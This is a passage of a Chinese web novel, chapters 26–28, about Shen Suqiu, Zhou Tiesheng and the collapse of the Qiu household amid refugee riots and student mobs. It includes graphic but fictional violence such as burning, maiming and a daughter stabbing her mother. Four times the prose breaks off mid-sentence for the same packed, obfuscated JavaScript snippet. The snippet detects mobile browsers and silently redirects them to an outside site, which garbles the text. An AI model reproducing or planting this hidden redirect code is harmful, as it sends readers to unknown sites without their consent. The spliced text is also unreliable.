过了一会，周铁生没出来，大夫出来了。只听大夫说：“泔水里全是脏东西，他身上本来就有伤，我已经用酒精给他消过毒了，也敷了药，可是........” 钟雪樵就知道还有更糟糕的情况。 “可是他半边耳朵灌了粪水后，有点感染了。”大夫指了指左半边脑袋，“看样子，以后怕是这半边都听不到了。” 周铁生站在门后，用能听清楚的那只耳朵听到了大夫所说的最后一句话。他觉得自己更加在沈素秋面前抬不起头来，从前引以为傲、强壮健全的体魄资本，也留下了一抹污点和残缺，他和沈素秋一样，永远失去了完整。 夜里周铁生对月出神。 他被安排在一间独立的别苑里，不用和毛五他们看押在一起。张启明的人给他送来了干净的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287728|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣裳，上面喷满了香水。 一起送来的，还有宪兵队批准入伍的公函。可周铁生已经没有了那股子昂扬的气势，他被今晚的虐行挫到了谷底，那纸来之不易的公函被他用来了擦屁股。 他完全没有了反抗的力气。 周铁生第一次意识到，原来自己在绝对力量前这样渺小。年轻时抢药铺时不觉得，挡在邱守成面前捅死汗血宝马时不觉得，带头几个弟兄们偷渡皇粮时不觉得，结果被摁在粪池里洗一遭，什么尊严倔强倨傲要强全都被洗掉了。 那些屎尿秽物如同强硫酸一般，彻底剥脱了他身为男人的意志。他痛恨现在的自己，残缺的自己，连自己都没法保护好更别谈保护某人的自己。 他甚至越活越倒退，倒退到不如三年前的自己。至少三年前.......至少三年前他还能有底气对邱守成说不愿意，至少三年前，他还可以选择用离开表明态度，两个人里至少保全一个人。 可现在他什么都没有了，他谁都比不上。他感觉到溃败，和前所未有的自卑。那种感觉就像是把从前那个周铁生永远丢在了这个殇痛的夜晚，于是再多日出和朝霞，都无法推动他走向黎明。 ........ ........ 沈素秋快天亮时被噩梦惊醒。 她梦到了五姨太，梦到了温灵，梦到刚死去的景明与景和，还有周铁生。 即便雪樵在入睡前亲口告诉了自己某人的情况，可她还是梦到了他和那些死去的人站在了一起。他们一起朝自己面无表情地走过来，快要走到自己面前时，一个个分裂成断头断手的僵尸，长着倒挂蝙蝠般的獠牙，满身鲜血地朝自己扑咬过来。 她抓着被子，闷声哭嚎，声音很快惊醒了一旁的雪樵。 钟雪樵昨天处理完周铁生的事后，留宿在了霞飞苑。她没有告诉沈素秋周铁生那边的实情，只说是男人间的打架，他是被打的那个，且“伤得不重”，让她不要担心。 沈素秋说，我想去看看他，你能不能想办法替我安排？ “没什么好看的，”钟雪樵想也没想拒绝了她，不禁生疑，“你既然这么在意他，又为什么要举报他？我时常觉得自己猜不透你。” 你不知道，沈素秋说，雪樵你不知道，这是他欠我的。 他欠你什么了？钟雪樵抓住她的手，看着她灰败的眼睛，急迫地问，沈素秋，他欠了你什么？你要这么对他？ “是他卖了我！是他把我卖给了邱守成！” 女人崩溃大哭，卷过被子，扔到了地上。 “是他在悔婚书上签的字，摁的章，是他用一张银票，把我卖到了这里……！” 沈素秋捂着胸口，哭得肝肠寸断，死去活来。 钟雪樵紧紧将她抱住，满眼心疼地说，为什么以前从来没听你说起过这些？你到底还有多少事瞒着我？ “我求他带我走……我求过的……我让他带我离开这里，可是他不愿意……”女人字字流血，“他说你读过书，比妓女值钱。他已经和姓邱的商量好了价钱，让我过去就好了。邱守成会对你好。” “我追了他很远，好久好久……他都没回头再看我一眼……” 沈素秋感觉自己快哭不动了，眼里布满恨意，“从那天起我就决定，这辈子我一定不会放过周铁生！” 26.第二十六捧麦 邱守成穿着那身他最喜爱的长衫，拿出了只有重大年节时才会见光的乌黑发亮的木拐。他的严肃和重视强调了他身为权力枢纽的庄严，而他身前此刻跪着的是自己曾经最看好的晚辈，他第一次怀疑起自己的眼光。 “说吧，刚刚我说的退婚书，你到底愿不愿意签。” “不愿意。” 周铁生再一次重复，腰杆笔直地跪在邱守成面前，说是跪着，却比站着还要伟岸。 “好，是个硬骨头。”邱守成非但没有焦躁，反露出一脸意料之中的算计和欣赏，“那我今天就来教教你，什么才叫爷。” 他掏出腰间一杆黑漆漆的家伙什，叫人将一头老牛牵进堂屋来。周铁生看他举起那杆黑戳戳的东西，将细长的一头对准老黄牛。只闻“砰”一声巨响后，老牛应声倒地，牛身上只有个眼珠子大小的窟窿，牛血如浓稠的岩浆般，顺着身上的血洞流了一地。 “知道这是什么不？”邱守成把那东西放到桌子上，理了理衣下摆。看着周铁生一脸呆滞的表情，他感到一丝愉悦。 “我告诉你，这就叫枪！” 他满脸得意，不胜欣喜道：“它比猎户家的火铳子小巧，又比内廷衙门里的刀剑蛮横。谁要是不听话，往这扣子上这么一掰，就能立马要了他的命！” 他把枪对准周铁生，层叠的褶子堆满蜜意，“你要是不签，我现在就把你们两个一起毙咯。” “我愿意！” 周铁生的变脸仅在一瞬之间，他几乎没有一丝犹豫，似牛马般跪伏在地。支配他屈服的不完全是那支叫什么枪的东西，还又那句连带着的最后警告。他不怕死在这样神秘而又强大的武器下，他怕的是某人也会为此而死。 “我还以为你多硬呢。” 邱守成呷了口茶，笑眯眯地掏出一张银票。 “天乖儿，我也不是什么恶人。你别怕。” 他拄起拐，扶起那个冷汗如瀑的年轻人，心平气和道：“好歹你以前也救过我的命，又伺候了我这么久。而今我从别人嘴里得知你跟她订过婚，还私定了终身，还是大发慈悲选择原谅你。” 邱守成人如其名，守成守成，墨守成规。他看重宗族礼法，义孝忠全。所以当他在新婚前夜知悉周铁生和沈素秋早有媒妁之约，且已有过苟合，那么再是迫切地想要迎娶那位女子入门，也不得不“征求”她这位未婚夫的同意。 “我不逼你，”邱守成让管家爷奉上银票，“这笔钱拿给你。你签了那封退婚书，再给那女子写封休书，告诉她你愿意以这张银票的价格把她典给我。钱不是太多，毕竟就只是个佃农家的女儿，但比窑子里的花姐儿要值钱些。你拿着这笔钱，离开这里，做点生意也好，回家种地也罢，天大地大，只要不在辞水，我便不会再找你两个的麻烦。” 周铁生颤颤巍巍地走上前去，在印泥里摁了一下，将红指印盖在退婚书的一角。因他不会写字，休书由管家代劳，他自己读过，觉得没什么问题，最后再署上自己的名儿。 “好！甚好，甚好啊！” 邱守成拿着那两张纸，豁然纾解。 周铁生在两个家仆的监守下，收拾好了本就不多的家当。他没时间和某人做个体面的告别，被催着漏夜出府。可在跨身上马时，她还是追了上来。 她顶着糟乱的头发，衣服也乱糟糟的，一群婆子扯着裹脚布撵在后面，布上满是鲜血。 沈素秋拖着血淋淋的右脚，奔跑上前，她拉住周铁生的手，嘶声哀求。她说铁生，你带我走，我求求你带我走.......就算被枪崩了我也悦意。 周铁生面无表情地回：“我已经和他商量好了价钱，你比妓女值钱，我很满意。” 他将那张银票冷冰冰地甩到沈素秋脸上。 女人霎时惊愣，没想到他的嘴里能说出这样绝情的字眼。她像是被一棍子给拍蒙了，回过头来再看那根沾满血渍的裹脚布，竟也透着一股温柔和可爱。 她松开那只试图跟随的手，哭着跑回到宅院。偌大的邱宅即便入夜也是灯火通明，灯光透过无数扇轩榥与窗纸，被切割成无数银白澄亮的方块。寥寥旷地里，如同闪烁的冰糖。 周铁生牵着马绳，幻想着嘴里有甜味，他看着那些冰糖哭了，哭得好伤心。 “这糖可真苦啊。” 沈素秋拿起其中一颗，放在嘴里。 “雪樵，你说为什么女人都爱吃甜食呢？” “大概是因为做女人都很苦吧。”钟雪樵说，“做邱府的女人就更苦了。” 两人都没再说话，默默品食着身前这碟子冰糖。百遍心经已经抄完了，傅如芸夜也解了沈素秋的禁足。可早前送去姑娘坡的信却迟迟没有回音。她问张少尉，张少尉也说总督大人还没有回信。张启明派人去姑娘坡探问，发现城门已经紧闭，整个辞水城进入高度警备状态。城楼上架起了十多年没用上的土大炮，当年就算段祺瑞的军队杀到辞水，也没摆出这样的架势。 一股凝胶般的沉重弥漫在辞水县的大街小巷。 “你们听说了吗？新上任的县令爷不到半年就被人给杀了。”沈素秋在抄手游廊下听到几个丫鬟在谝闲传，“是谁杀的还不晓得，就是那个理由蛮招笑。他们说这三年大旱都怪县令没改县名，你看辞水辞水，辞是什么意思？那不就是辞去、不要？那你都把水都给辞了，龙王爷咋还可能给你下雨？那起子乱民就把县令爷给砍死了，还自己做了新石牌，辞水改成来水，福源滚滚来，明年龙王一定笑开怀！” 一群丫鬟们笑成一片，沈素秋倒怎么也笑不出来。她的心如同这秋天一般，凋敝得近乎苍凉，比当年某人丢开自己的手还要凉，她感觉自己像是又被丢开了一回。 管家爷风风火火地跑进府来，笔直往正屋里去。他手上拽着封急报，看样子正是姑娘坡的来信。 沈素秋登时来了力气，托着丫鬟的手，快步往正屋赶。 各房人和府中上下老小全都汇了过来，大太太如芸高坐厅堂，急不可耐地接过管家爷的信，拆开一瞧，整个人晕了过去。 “夫人？！夫人？！” 堂中一片混乱。 “夫人你怎么了？！你别吓我夫人.......” 管家爷和丫鬟婆子一起掐着女人的人中，沈素秋趁乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292930|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拣起那封信，迅速扫了一眼，不禁暗喜道：“别叫了.......老爷没说怎么处置毛五和周相........” “那他说了个啥！？” 一群人围着沈素秋问。傅如芸被抬到那张松木制成的交椅上，意识逐渐清醒。 “这不是老爷的信。”沈素秋平静地说，“这是总督大人的手笔。” 话音刚落，张启明带着宪兵队轰隆隆地踏了进来。他也像是刚刚得到了什么消息，心急如焚道：“总督大人传来口谕，说姑娘坡发生暴.乱，邱老爷失踪了！” 刚醒来的傅如芸又晕了过去。 屋里乌啦鬼叫声不绝，府中上下近百口人乱成了一锅粥。二房的凤霞代众人问道：“到底是怎么一回事？怎么会发生暴.乱呢？是皖系的军.阀又闹到关内来了？” “不是军.阀，是难民。” 张启明面色严峻，将自己所知道的一切都告诉了大家。 “前个夜里姑娘坡坡下突然拢近十几万难民，他们举着火把，一路从山头烧到山尾。凡是所过之处，一片狼藉。甭管是树皮、野狍，还是蚯虫、蚂蝗，只要是能进嘴的，全都十几个人围着撕抢。看样子是从关外来的饥民，饿得实在疯魔了，抓到活人就啃。老爷所在的山野别院很快也被他们席剿了一通，什么桌子椅子全都啃掉了。他们就跟饿死鬼似的，一路朝辞水啃过来。兵荒马乱间，老爷和众人走丢了。新纳不久的那个七姨太也不见了，据说有人看到她被活生生咬断了胳膊，撕下了半张脸，七八个人趴在她身上茹她的肝子、肠子，吸她的血.......” 堂里有人不由听得有些发呕。 “看样子，也很快要冲到辞水了。” “完了.......都完了！” 大太太不知何时醒了过来，应该听到了张启明所说的话，整个人泪流满脸。 “这世道当真要完了，邱家要倒台了！” 她大哭大叫，前所未有的失态。凤霞赶忙命人把她带了下去。 “这些天你们一定要看好门户，千万别放进什么身份不明的人。城墙外日夜都有重兵把守，防止难民洗城。我这些天应该顾不上看粮了，只能拨一小部分人留给你们。我得先回宪兵队报道，去姑娘坡接应总督，一同抵御难民。你们自行保重！” 张启明汲汲皇皇地吩咐完一切，带着一大队人马又要往外面赶。 沈素秋丢下信纸，快步追出院外，就像三年前追某人时那样，满含期冀。 “少尉大人留步，”沈素秋抬步向前，一个劲地喘，“我想问问少尉，既然老爷出事，总督又忙于应对难民，那么周相.......” “你该去问夫人。”张启明没工夫和她废话，作势就要上马。 “可夫人如今神志失常，恐怕难以决断。” 沈素秋还是不甘心，拉着他的马栓，跟着马匹往前走。 “求少尉给个准信，也好让我心安。就当我求你了。” 她近乎要哭出声。 “他现在很不好，”张启明“吁”地一声，拉起马头，旋身回眸：“你还是快去看看他吧。” 27.第二十七捧麦 一阵秋风送爽，吹散满庭芳草。男人横卧在草席里，抬手去揭腰上的帖。他如今身上的伤，每天都要用掉十多帖膏药，最近他每天都疼得下不了床。晨间早起时，每每都是一身的汗。 周铁生正忍着痛，给一处腐烂的伤口撒黄酒时，门“吱呀”一声开了。沈素秋提着一盒子饭菜，走进门来。看着男人满身粗红的疤痕，她蓦地丢下食盒，抱了上去。又怕太过用力，碰到他的伤口，只能轻轻挨着他。 她闻到一股淡淡的粪臭味。 “你咋个来了吔？” 周铁生比沈素秋还要意外，忙拉上衣裳，幼稚地想要盖住那些伤口。 “姑娘坡来了信，说老爷失踪了，邱府现在乱跳脚，我趁乱过来看看你.......” 她一眼扫到男人耳朵上包裹的绷带。 “这是怎么回事？” “没什么.......” “你莫诓我！”沈素秋捧着他的脸，满含热泪，“你到底咋个了，不是说只是跟爷们打了架吗？难道驴耳朵都打没了？” “不是没了........”见话已至此，周铁生无心隐瞒，“是聋了.......” “怎么会聋呢.......？” “他们下手太狠了........”周铁生打住伤感，心疼地抱住了她，“你别嫌我，以后说话得大点声，就当我提前老了，耳朵不好使了........” 两人抱头痛哭。 “没事的，没事的铁生........” 沈素秋擦了擦泪，惊讶地发现，屋外下起雨了。 “我们很快就解脱了.......现在他们各个自顾不暇，正是逃跑的好时机........” “可我们要逃去哪达？”周铁生拉着她的手，一刻也都不愿意松开，“我身上还带着这么多伤，你带我跑，我反而是累赘........” “你怎么会这样想？” “事实如此........”周铁生眼神一黯，像小狗一样低下头颅，“我在想，或许就像三年前他们说得那样，让你跟着邱老爷未必是件坏事。” “他们........”沈素秋吸了口鼻涕，“他们是谁？” “他们是邱守成派来杀我的人！” 周铁生眼泪汪汪地看着女人，“那个邱守成，三年前逼我跟你退婚，让我签下退婚书，不然就把我们两个都杀了。我是无所谓了，死了就死了，但我不想你死，于是只能点头。他还给了我一笔钱，让我走人。可是他怎么可能真的这么好心？半道上，他又派了两个侄子追来杀我！所幸他们身上没有枪，只有刀，我跟他们在渭河边打了一晚上，浑身挂血地甩开了他们。他们叫嚣着不会放过我，说让你跟着邱守成胜过嫁给我........” “现在想来，我觉得他们说得没有什么错........” 男人闭目怆然，两行清泪飞流而下，滴在女人手背，如火中烧。 “你这是又要丢下我了？” 良久，沈素秋含泪质问。 “不是要丢下你，是让你丢下我。”周铁生尽可能离女人近一点，否则听不清她嘴里说了些什么，“我成了个无用的废人，把我丢了，找个好男人家，像张启明那样的就很不错。” “你在说什么疯话？！”沈素秋揪住他的衣领，哑声哀叹，“我不会丢下你。我要好好留着你，把你留在身边。你要死也只能死在我手里，我不许你一个人偷偷地死！” 她擦了擦眼泪，很快停止了伤心。沈素秋明白，过度的伤心是没用的，她已经在邱府伤了三年，也还是没伤出个所以然。而今她不想再伤下去了，她想要站起来。 “你听着，是你把我卷进这个事里头来的。没有我，周铁生，没有我你早死无葬身之地。” 沈素秋背过身去，言语间不卑不亢。 “你别忘了，没有我的金银财宝，你这场戏做不全。” 她声泪俱下，才止住的眼泪又淌了下来，没完没了似的。 “这便又是我对不住你的地方了。”周铁生越说越心痛，“一旦有人发觉，从我那里搜到的金银珠宝其实出自你手，只怕你也——” “所以你别想甩开我！”沈素秋哭着哭着又笑了，“你个狗毬！拉我入局，就别想把我丢开。要活一起活，要死就一起死！谁也不能丢下谁。你想一个人担，我不同意！” “好........”周铁生伸手环抱住他，亦如从前那般爱意胶着，他抿着泪，在她额头上轻轻一吻。 屋外风雨潇潇。 女人喂完铁生喝下汤药，又亲自将他哄睡。抚摸着男人硬朗的眉骨和鼻尖，她开始沉醉于这张古朴的脸。 周铁生长得并不如张启明好看，张是玉貌清扬、俊朗不群的文武全才，而周相有一张劳苦大众的脸。深麦色的皮肤，大而高的鼻脊，乌黑浓墨的飞眉。他不是仙姿皓骨的芝兰玉树，更像是一根经冬不死、春亦有英[1]的花白。他生在冬霜里，长在三月天，萎于艳阳日，仿佛与“秋”无缘。 雨渐渐停了，灰瓦檐角垂下一串碎雨，坠入石碣下覆着的葫芦苔。东墙根那丛湘妃竹在簌簌滴翠，像是在替自己流泪。院落里清寂一片，秋意生凉，沈素秋拉好门闩，正要转身，见一群穿着学生装制服的少男少女拥了上来。 “就是她！把她给我摁住！” 引头的那个沈素秋见过，是邱婉凝那群同学里的一员。她还没搞明白是怎么一回事，就被两个气势冲冲的女学生抓住头发，硬拖到了众人跟前。 “大家看到了吗？！这就是深受封建主义荼毒的旧社会女人。” 领头人不顾沈素秋惊叫，让人摁住她的双手和双脚，摘了她的鞋袜，将那双并不统一的脚丫曝露在诸位眼前。 “看看，看看！这就是书上所说的三寸金莲！”那人越说越是愤恨，伸手捏住女人那只畸变的小脚，展示道：“在旧社会，为了迎合男性的怪异审美，许多女性从三五岁起就开始尝试裹脚，而等到趾骨完全嵌进脚心，形成这样不足一指的三寸金莲，她们就成了那些男人们口中津津乐道的美人。” “这样的封建恶习，简直有辱我们身为新女性的独立与闪耀。我们今天就来替天行道，绞杀这些沉溺在封建腐败中的女性蛀虫！” “打倒封建主义！清杀女性蛀虫！” “打倒封建主义！清杀女性蛀虫！” “打倒封建主义！清杀女性蛀虫！” ......... 十数名女学生振臂高喊，各个瞪红了眼，目眦欲裂。 沈素秋满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15295416|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是惊惧地抱住自己，吓得浑身颤栗。这一张张本应朝气蓬勃的面庞，却萦绕着一股黑紫色的瘴气。 在一片斗志昂扬的呼喊声里，沈素秋被一路拖到了后花园的场院上，那里本是仆人们铺晒玉米、大麦的地方，如今已挤满了和邱婉凝差不多大的男男女女。他们手里拿着书本，像是比拿着猎枪还要凶狠，一张张口沫横飞的嘴化作淬了剧毒的飞针，齐刷刷刺在女人心头。 沈素秋很快发现，傅如芸和凤霞也被她们拖了过来。府里所有的仆人都被集中关押在邱家祠堂，由身强力壮的男学生们看守。一群手无缚鸡之力的阔太太们无从反抗，只能选择被一群未来之子拽住头发，场院里女人啜泣声一片。 傅如芸已吓得没了声音。 “悲哀，真是时代的悲哀！” 为首的女学生捧着书卷，踏步上前，“所有的女孩们睁大眼看看，这些满头珠翠、满身绫罗的太太，她们的冰肌玉骨、养尊处优，全都建立在无数女性的尸骨之上！想想你们家中年迈的母亲，想想你们累死累活的家姐，她们可曾享受过一日富贵？而她们——” 她指向被绑上绞刑架上的沈素秋等人，声嘶力竭。 “她们仅仅是愿意接受父亲、丈夫和无数男人投来的规训，愿意委身做他们的猪狗，愿意给男人洗衣做饭、陪吃陪睡，她们比我们更放得下身段，也更没有底线。只要能做太太，能穿金戴银，过有钱人家的日子，让她们做什么都愿意。哪怕是断足自残，只要男人高兴，一样无怨无悔，这样的女人，简直就是我们女人中的叛徒！” “打倒叛徒！” “打倒叛徒！” “打倒叛徒！” 又一轮新的口号响了起来，比前一句更加激烈。 “我们没有无怨无悔.......”如波似浪的震耳发聩声里，沈素秋竭力一笑，辩驳道：“我们也是被逼无奈......我们也不想这样........” “那你们为什么不知道反抗？！”那人箭步上前，啪地一耳光甩到沈素秋脸上，盛气凌人道，“男人打你的时候，你为什么不知道还手？为什么不予以反击？你们心智太过脆弱，一点伤害一点挫折就选择忍让臣服，你们是弱女的代表，一样该踢出女人的队伍，女人就该强大。你们已经被男性高度驯化，成了他们专享的高级妓女！” “烧死妓女！” 人群中有个女孩在喊。 “对，烧死这些妓女！简直女人中的败类！” 很快就有了附和声。 “烧死她们！” “烧死她们！” “把这些封建妓女全部都烧死！” 附和声一浪推一浪，浪浪有碰撞。 一捆又一捆柴薪抱了上来，堆在刑架底，又有几个学生不知从哪里拎来几大桶煤油，淋在那些柴火上。一根火柴扔进去，熊熊烈火转瞬腾起。冲天火光里，沈素秋看到了邱守成的脸。 整个邱府上空都是他的脸，他就像个行走的巨人，一只眼睛瞄着前院，一只眼睛瞄着后院。左手抓着东边厢房，右手抓着西边厢房。 他的诡异笑容铺满了整面天空，抖动的咬肌就像一片片流动的云。整个邱府就仿佛长在他身体上的巨大生.殖.器，所有人围着它纷飞舞蹈，燕语莺歌。天很快阴了下来。 28.第二十八捧麦 沈素秋被烈火灼烤着，焰舌攀咬上裙裾，风将她的头发吹得散乱一团，她被煤油燃烧出的黑烟熏得咳嗽连天，很快就有了休克的迹象。 众学生这才露出些忌惮的表情，毕竟他们尚且年轻，单纯受观念和思潮的唆摆，并没有真正地杀过人。她们担心真的闹到学校政教处，年末给她们的成绩单上打个丙。那便是让她们连业都毕不了的证明——而毕不了业，她们中的大多数都要回家挨父亲兄长的一顿打，因为她们中大多数人都还用着他们的钱，去完成学业，穿干净时尚的学生装。 “怎么办，要真出事了先生会不会罚我们？” 人群中有了害怕的声音。 为首的那个浑身一抖，像是受了天大的刺激般，反问她们，“难道你们就这么点胆量吗？！你我身为新女性的成员，怎么可能跟这群封建妓女一样唯唯诺诺、计较得失？一个丙又怎么样，你不自立，你的人生就是丙！” “就是就是！” “说得对.......” “说得太好了。” 一群乌合之众。 沈素秋用仅存的一丝意识对她们总结出千百年来女祖宗们对这群小女娃子荒诞行径的嗟叹，这些看似打着新女性旗号、唤醒女人的空洞组织，实则爱的只是宏观的女性。她们无视个体的磨难，就像无视一匹绣布上微小的错针和漏脚。那一双双湛亮如天窗的眼睛里，看到的只有身为新女性的美好，而容不得旧女性的灾厄。她们急于和这一部分女人割席，重塑完满的金身，假装她们从来没存在过，假装女人千古以来都只有美德美誉、无穷魅力，在独立人格和从不依附男权的道路上，摇曳生辉。 这些道理，沈素秋上了两年女校就明白了。她只读过《论语》和《离骚》。这两本很少有涉及女人的东西，却教会了她爱天地和爱自己，可现在这两本书在她们看来或许也是封建糟粕的读物，她们急于划分一部分同性就像急于划分出男性一样，同时也并不影响她们花用父亲母亲的钱完成学业。 足底的火苗愈燃愈烈，似龙似蛇般欢舞在焦化的柴堆上。沈素秋用余光瞥见人群中做贼心虚般的邱婉凝，她和那群女学生站在一起，看着自己母亲被钉死在绞刑架上，焰火快要爬满傅如芸全身。 “她是你的母亲！” 领头的女学生将邱婉凝拉出人群，指着意识昏迷的傅如芸说，“婉凝，现在该你做出决断了！” 邱婉凝满目惶恐地丢开书本，无助道：“我该怎么做.......？她是我亲娘........” “别害怕婉凝，”女学生头说：“古有哪吒剔骨还父，今有你大义灭亲的慷慨壮举。只要你当着我们的面亲手把她捅死，我们会待你如亲姐妹一般，从今往后做你共同的母亲。” 话未说完，她将一把匕首递到少女手中。推她到了傅如芸面前。 “婉凝，使不得啊！使不得！” 凤霞涕泗横流，努力摇晃着身躯，“你可是她十月怀胎从身上掉下来的一块肉，她疼你爱过胜过疼她爱她自己。你读了这么多书，怎么可以做这种事，这是大逆不道啊.......二妈求你.......别这样对她........她要是知道，一定会非常伤心........” “要你多什么嘴？！” 带头的人迎面一记耳光掴在凤霞脸上，拎着她的头发，在她身上又淋了一大瓢煤油。 “你们几个，把她的嘴给我拿针缝上！” 几个女学生灵敏地从口袋里掏出针线包，举着寒光料峭的绣花针，穿上蚕丝，往凤霞嘴唇上扎去。 女人的惨叫声响彻邱府，邱婉凝吓得连刀都没举稳。作为新女子学社曾经的创始人，她从没想过这个组织会朝着如此不可控的方向发展而去。她们最初也只是在自己书房里谈经论纬的平和少女，不知道从什么时候起，这个打着教化旗号的纯学生组织变得如蝗虫过境一般，魔怔得一发不可收拾。 “婉凝........我的女儿.......” 傅如芸虚弱地睁开眼，看到邱婉凝坐跪在自己面前，参拜自己，像参拜一樽观音。 她像是看到了一缕柔和的曙光，她的婉凝来救自己啦，她的宝贝女儿，她的心头肉，她的金疙瘩，她的掌上明珠。 可她为什么拿着刀呢？她为什么表情如此动摇地走向自己。她没有参拜的敬重，更像是一种亵渎，直到那柄雪亮的刀刃“扑哧”一声刺进自己的胸膛，傅如芸才发现，她的女儿不是要拜神，而是要弑神。 她忽略了这个与自己脐血相连的女儿至关重要的一点——她从不信佛。 是啊，邱婉凝不信佛。一个不信佛的人，又怎么可能善待佛，怎么可能善待皎白的观音。 看着邱婉凝似哭似笑地将匕首从傅如芸胸膛拔出来后，沈素秋落下了一滴泪。她像是看到傅如芸房中那樽金丝楠木雕刻成的莲台观音轰然倒地，碎了一地。那是邱婉凝从英国回到邱府后，送给傅如芸的礼物。 而今观音本音，莲凋叶尽。净瓶水倒，杨柳枝枯，倩女终难还魂。 “饶过我吧........饶过我.......” 女孩丢下血刃，撕扯着自己的头发，仰天大笑。 “哈哈哈.......我杀了自己的亲生母亲.......我杀了她.......我杀了她！” 邱婉凝发疯般地跑出人群，她边哭边跑，边跑变叫。 众人看她这副神志不清的模样，脸上浮出几分痛快的表情。尤为领头的那个最是得意，她不屑道：“邱婉凝从小在封建家族中长大，虽然是我们中的一员，但经受了太多封建主义的腐蚀和同化。她留过洋又怎样？骨子里流的就是封建血。她吃封建饭长大，穿穷人血泪织出来的花布衣。她和我们不同，和我们不同的人，就注定没法成为新时代的女性。” 女学生们各个掩去脸上本就不多的愧色，神色更加坚毅。她们继续围观着这场热闹的大火，纷纷朝火里投掷自己手上的书，笑得山花烂漫，恣意张扬。 斜阳从西厢房房顶穿过来，照在东墙根那排残乱的绣球花上。它们历经上午的那场风雨，已经有些东倒西歪。众女学生正往火里兴奋地添着柴，恰在此时，十数米外的草塘边遽地爆发出一阵尖利的枪鸣。 是有人来救自己了吗？是周铁生来救自己了吗？是她心爱的男人来救自己了吗？沈素秋在火光中抬头，望向芳菲散尽、灰烬漫天的场院一边。 只见钟雪樵一身米白便装，身后跟着一队宪兵队模样的男人，迅步赶来。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304101|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手里明晃晃举着一柄毛瑟氏手枪，动作娴熟里推拉上膛，往天空中放了三发空弹。 突兀的枪响声很快让女学生们陷入沉默，她们停住添油加火的动作，扭头看向这个来路不明的女人。 “把她们放了！” 钟雪樵懒得多舌，提住那个看着最是生厌的组织头目，将枪顶在她后脑勺上。 “砰”一声巨响，鲜血溅了钟雪樵一脸，闹事的头目口歪眼斜，赫然倒地。 而钟雪樵就像无事发生一般，掏出帕子擦干净脸上的血，将枪重新指向那群如羔羊般躁乱不安的人群。 “谁还有不服气的，出来自个儿领枪籽儿。” 女学生看到脑袋当场开瓢的同学，一个个瞬时吓得哭爹喊娘、鬼叫连天，果然，有时以暴制暴胜过好声相劝的万语千言。 沈素秋完全怔住了，不是对于那把枪，也不是对于横死的女学生，而是对于钟雪樵。她像是从来没认识过眼前这个钟雪樵的，一个全新的钟雪樵。 作为她在邱府最知心的朋友，沈素秋居然一点也不知道她手上有枪、还会用枪，当然这些都不是重点。重点是她敢杀人，还能如此面不改色地杀人，哪怕对方是一个小自己许多岁的无知女学生。就好像这些年来的温柔娴静、与世无争都是假的。她像解开裹脚布一样解开了这些看似美好实则繁复的东西。真正的钟雪樵，其实是现在这样的，果决的，孤傲的，骄矜而不容侵犯的，真正的新女性。 沈素秋猝不及防地反应过来钟雪樵房中那些挂画的含义，那幅她历历在目的木兰秋狝图，正验证了这个女人被压抑的半生。身为武行后代，本应是媲美张启明般年少有为的沙场精锐，却委身于娉婷曼妙的旗袍中，当窗理云鬓，对镜贴花黄。而今形势急迫，她不得不重拾战魂，在一个风和日丽的午后，向沈素秋打开自己。 打开自己这满腔胸襟里的华丽深藏。 女学生们被宪兵队的几个兵鲁子驱赶了出去，关在祠堂里的家丁家仆们也都被放了出来。沈素秋和凤霞被抬进了各自住所，请来军医诊治。 凤霞的嘴上嵌满了丝线，六七个婆子拿着剪刀，小心翼翼地为她剪开那些蚕丝，又将那些丝线从她的肉里，一点点、一点点抽出来。 沈素秋的下身被烧得皲黑一片，皮烂骨削，其中右腿最为严重，恐再难以复全。 “我知道你想问什么，”钟雪樵小心安抚着她，像过去沈素秋安抚自己一样，“你先好好养伤，过后我再跟你解释。” 